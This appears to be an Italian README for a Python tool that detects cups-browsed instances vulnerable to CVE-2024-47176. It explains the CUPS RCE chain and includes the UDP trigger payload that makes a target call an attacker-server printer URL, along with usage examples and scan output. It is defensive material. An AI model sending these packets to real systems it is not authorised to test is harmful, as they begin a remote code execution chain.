
Un semplice scanner per identificare istanze cups-browsed vulnerabili sulla tua rete
Esempio di utilizzo: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS (Common Unix Printing System) è un framework open-source per la gestione e il controllo delle stampanti su sistemi UNIX e simili a UNIX. È una delle librerie più utilizzate per la stampa ed è supportata da UNIX, Linux e alcuni dispositivi Apple.
Sono state trovate diverse vulnerabilità critiche in CUPS che, se concatenate tra loro, possono portare all'esecuzione remota di codice. Le CVE in questione sono CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.
Le vulnerabilità consentono a un attaccante remoto di aggiungere o riconfigurare stampanti di rete in modo tale che eseguano codice arbitrario quando gli utenti tentano di stampare da esse.
La prima vulnerabilità della catena, CVE-2024-47176, è un difetto nel demone cups-browsed.
La vulnerabilità deriva dal fatto che cups-browsed vincola la propria porta di controllo (porta UDP 631) a INADDR_ANY, esponendola al mondo esterno. Poiché le richieste non sono autenticate, chiunque sia in grado di raggiungere la porta di controllo può istruire cups-browsed per eseguire la scoperta di stampanti.
Nei casi in cui la porta non sia raggiungibile da Internet (a causa di firewall o NAT), potrebbe comunque essere raggiungibile tramite la rete locale, consentendo l'escalation dei privilegi e il movimento laterale. Per questo motivo, ho creato questo scanner progettato per analizzare la tua rete locale alla ricerca di istanze vulnerabili di cups-browsed.
Tipicamente, un attaccante inizierebbe il processo di sfruttamento inviando una richiesta appositamente predisposta a cups-browsed sulla porta UDP 631, facendogli contattare un URL dannoso sotto il suo controllo.
Ad esempio, un pacchetto UDP contenente quanto segue: 0 3 http://<attacker_server>/printers/malicious_printer farebbe scattare a cups-browsed l'invio di una richiesta HTTP a http://<attacker_server>/printers/malicious_printer.
Se l'URL si presentasse come una stampante dannosa, potrebbe concatenare il resto delle CVE per ottenere l'esecuzione remota di codice.
Usando questo meccanismo, possiamo indurre un'istanza vulnerabile di cups-browsed a inviare una richiesta HTTP (callback) al nostro server, identificandosi come vulnerabile.
Il processo di scansione è il seguente:
/printers/, attivata da istanze vulnerabili di cups-browsed.Supponendo che il nostro server HTTP sia ospitato su 10.0.0.1:1337, il nostro pacchetto UDP dovrebbe avere questo aspetto: 0 3 http://10.0.0.1:1337/printers/test1234
Questo scanner Python gestisce tutto per te (sia il server HTTP che la scansione).
Lo script avvia un server HTTP temporaneo tramite http.server su un IP e una porta specificati, quindi costruisce e invia pacchetti UDP a ogni IP nell'intervallo specificato. Il server HTTP catturerà automaticamente i callback dalle istanze vulnerabili di cups-browsed e li registrerà su disco.
I log leggibili vengono scritti in logs/cups.log e le richieste HTTP grezze vengono scritte in logs/requests.log
--target
il/i CIDR da scansionare. Può essere un singolo CIDR o più CIDR separati da virgole.
--callback l'IP e la porta locali su cui ospitare il nostro server HTTP (deve essere raggiungibile tramite l'intervallo di destinazione)
--scan-unsafe di default scansioniamo solo gli indirizzi host assegnabili (escludiamo l'indirizzo di rete e l'indirizzo di broadcast)
in alcuni casi potrebbe essere desiderabile scansionare questi indirizzi, quindi questo comportamento può essere sovrascritto con il flag --scan-unsafe.
Scansione del CIDR 10.0.0.0/24 dall'indirizzo IP 10.0.0.1, ospitando il server di callback sulla porta 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
Scansione di più CIDR dall'indirizzo IP 10.0.0.1, ospitando il server di callback sulla porta 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
nota: l'IP del server di callback deve appartenere all'host che esegue la scansione e la porta deve essere raggiungibile da ogni IP di destinazione.
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
per maggiori informazioni vedi: Official CUPS Vulnerability Write Up